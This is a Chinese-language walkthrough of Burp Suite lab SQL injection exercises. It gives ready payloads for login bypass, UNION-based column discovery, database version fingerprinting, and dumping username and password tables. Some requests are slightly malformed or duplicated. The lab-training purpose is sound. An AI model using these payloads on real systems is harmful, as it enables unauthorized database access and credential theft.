Burpsuite靶场介绍
Burspuite靶场之SQL注入训练
检索隐藏数据
Where子句中检索隐藏数据
打开试验场,随便进行抓包,发现了
Gifts关键字
。根据提示,直觉这里就是提示点。于是修改重放包,
浏览出所有商品,检索出隐藏数据。
判断一个题目是否已经被解决,可以看网页右上角是否有已经解决的标志。
干扰逻辑
SQL注入绕过登录
猜测这个直接是万能密码都能过,所以直接就提交Username:admin' or '1'='1' -- qwe
密码随便填写一个就可以了。
联合注入
SQL联合注入,查出返回的列数。
使用burpsuite抓包
经过提醒是返回列数,所以我们可以使用两种方法猜测列数。
1 | 1: ' ORDER BY 1-- |
最后经过测试可以得出字段为3
SQL联合注入,查找包含文本的列
先判断查询返回的列数,发现是三列:
1 | GET /filter?category=Pets'UNION+SELECT+NULL,NULL,NULL-- HTTP/1.1 |
接下来可以通过将关键查询字填充去查询。
1 | GET /filter?category=Pets'UNION+SELECT+NULL,'qU03xx',NULL-- HTTP/1.1 |
SQL联合查询,查找其他表数据
注意看这道题的描述
仍然先确定列数:
1 | GET /filter?category=Pets'UNION+SELECT+NULL.NULL-- HTTP/1.1 |
判断两列的数据都可以显示,且为字符串类型
1 | GET /filter?category=Pets'UNION+SELECT+'11','21'-- HTTP/1.1 |
接下来就可以注入查询语句
1 | GET /filter?category=Pets'+UNION+SELECT+username,password+from+users-- HTTP/1.1 |
SQL联合注入,从单个列中取出多个值。
仍然老步骤,先确定列数
1 | GET /filter?category=Gifts'+UNION+SELECT+NULL,NULL-- HTTP/1.1 |
为什么这道题要叫做从单个列取出多个值,因为该回显行只有一个
所以我们要想办法从一行中读取多个数据,这里可以实现数据拼接。
1 | GET /filter?category=Pets'+UNION+SELECT+NULL,username||'~'||password+FROM+users- |
检索数据库
各种数据库查询版本命令:
查询Oracle数据库版本
在判断为两列后,确定字符型,并且利用Oracle的dual表做一些特定查询:
1 | GET /filter?category=Pets'+UNION+SELECT+'123','321'+FROM+dual-- HTTP/1.1 |
PS:DUAL表是Oracle提供的最小的工作表,是sys用户下的一张内部表,所有用户都可以使用DUAL名称访问,无论什么时候这个表总是存在。
接下来用ORACLE数据库查询语句查询数据库版本:
1 | GET /filter?category=Pets'+UNION+SELECT+'123',BANNER+FROM+v$version-- HTTP/1.1 |
查询MYSQL和微软上的数据库类型和版本
查询列数
1 | GET /filter?category=Pets'+UNION+SELECT+1,3--+ HTTP/1.1 |
查询出结果
1 | GET /filter?category=Pets'+UNION+SELECT+1,@@version--+ HTTP/1.1 |
查询数据库中内容
非Oracle数据库
目标:该应用程序具有登录功能,数据库包含一个用户名和密码的表。我们需要确定该表的名称及 其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。
查找与用户相关的表:
1 | GET /filter?category=Gifts'+UNION+SELECT+'123',table_name+from+information_schema.tables--+ HTTP/1.1 |
查找该表中的字段:
1 | GET /filter?category=Gifts'+UNION+SELECT+'123',column_name+FROM+information_schema.columns+WHERE+table_name='users_esdars'--+ HTTP/1.1 |
查找该表中字段的值
1 | GET /filter?category=Gifts'+UNION+SELECT+'123',column_name+FROM+information_schema.columns+WHERE+table_name='users_esdars'--+ HTTP/1.1 |
查找字段中信息:
1 | GET /filter?category=Gifts'+UNION+SELECT+username_wnwldq,password_yggrtf+FROM+users_esdars--+ HTTP/1.1 |